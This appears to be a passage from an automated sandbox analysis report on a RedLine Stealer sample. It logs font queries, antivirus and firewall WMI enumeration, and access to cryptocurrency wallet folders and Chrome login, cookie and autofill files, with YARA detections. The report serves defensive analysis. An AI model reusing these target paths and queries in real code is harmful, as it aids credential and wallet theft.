Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Design\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Design.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: Amcache.hve.10.dr	Binary or memory string: c:\users\user\desktop\procexp.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: procexp.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.2730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.346316963.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.281169813.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.279227451.0000000002732000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.311962797.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.282891500.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 7104, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: ElectrumE#
Source: AppLaunch.exe, 00000002.00000002.351702204.0000000007854000.00000004.00000001.sdmp	String found in binary or memory: kl1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: AppLaunch.exe, 00000002.00000002.351638818.0000000007825000.00000004.00000001.sdmp	String found in binary or memory: cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: AppLaunch.exe, 00000002.00000002.351702204.0000000007854000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: AppLaunch.exe, 00000002.00000002.351702204.0000000007854000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: ExodusE#
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: EthereumE#
Source: AppLaunch.exe, 00000002.00000002.351702204.0000000007854000.00000004.00000001.sdmp	String found in binary or memory: kl5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match

File source: Process Memory Space: AppLaunch.exe PID: 7104, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.2730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.346316963.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.281169813.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.279227451.0000000002732000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.311962797.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
